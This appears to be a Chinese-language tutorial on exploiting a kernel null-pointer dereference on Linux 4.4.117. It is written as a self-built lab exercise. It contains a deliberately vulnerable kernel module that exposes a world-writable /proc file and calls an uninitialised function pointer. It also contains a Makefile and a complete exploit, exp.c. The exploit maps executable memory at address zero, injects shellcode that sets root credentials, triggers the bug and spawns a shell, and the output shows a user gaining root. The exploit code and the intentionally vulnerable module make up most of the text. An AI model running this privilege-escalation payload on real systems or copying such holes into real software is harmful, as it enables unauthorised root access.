前言

网上相关的资料很多了. 但是几乎都是基于 linux 2.6 的[1]. 感觉太老了, 所以我在配置环境的时候选择了 4.4.117 . 虽然原理都一样, 但是因为linux内核提供的api有所不同, 所以无论是模块代码还是exp都和基于 2.6 的内核可能有所不同. 在此分享一下.

这种利用方式的原理参考[1]. 不再多说. 直接贴 ko 代码和 exp

ko代码

linux 2.26 中用到的 create_proc_entry 函数在 linux 3.10 之后已经被抛弃了. 替换为proc_create_data函数[2]. 代码基于 [3] 中示例代码修改得到.

#include <linux/init.h>  
#include <linux/module.h>  
#include <linux/types.h>  
#include <linux/fs.h>  
#include <linux/proc_fs.h>  

MODULE_LICENSE("GPL");  

void (*myfunc_ptr)(void);
int vuln_write(struct file *file,const char *buf,unsigned long len){
    (*myfunc_ptr)();
    return 1;
}

static const struct file_operations dl_file_ops = {
    .owner = THIS_MODULE,      
    .write = vuln_write,
};  

static int __init test_module_init(void)  {  
    proc_create_data("test", 0666, NULL, &dl_file_ops, NULL);
    return 0;  
}  

static void __exit test_module_exit(void)  
{  
    printk("[test]: module exit\\n");
    remove_proc_entry("test", NULL);
}  
module_init(test_module_init);  
module_exit(test_module_exit);

Makefile:

obj-m += pwn.o

KDIR="/home/pu1p/kernel_pwn/1_env_setup/linux-4.4.117/"

mod:
    make -C $(KDIR) M=$(PWD) modules
exp:
    gcc --static -O0 exp.c -o exp
poc:
    gcc --static -O0 poc.c -o poc
clean:
    make -C $(KDIR) M=$(PWD) clean
    rm exp, poc

exp.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

void die(char *msg){
        puts(msg);
        exit(-1);
}
// asm('xor rdi, rdi;xor rax, rax; mov rbx, 0xffffffff810439b0;call rbx;mov rdi, rax;mov rbx, 0xffffffff810437b0; call rbx;ret;')
char payload[] = "H1\\xffH1\\xc0H\\xc7\\xc3\\xb0\\x39\\x04\\x81\\xff\\xd3H\\x89\\xc7H\\xc7\\xc3\\xb0\\x37\\x04\\x81\\xff\\xd3\\xc3";
// char payload[] = "\\xb09";
int main(){
    mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/test", O_WRONLY);
    if (fd < 0)
        die("open file error");
    if (write(fd, "pu1p", 4) <= 0)
        die("write error");
    system("/bin/sh");//get root shell
    return 0;
}

效果如下

/pwn $ id                                          
uid=1000(user) gid=1000(user) groups=1000(user)    
/pwn $ /pwn/exp                                    
/bin/sh: can't access tty; job control turned off  
/pwn # id                                          
uid=0(root) gid=0(root)                            
/pwn #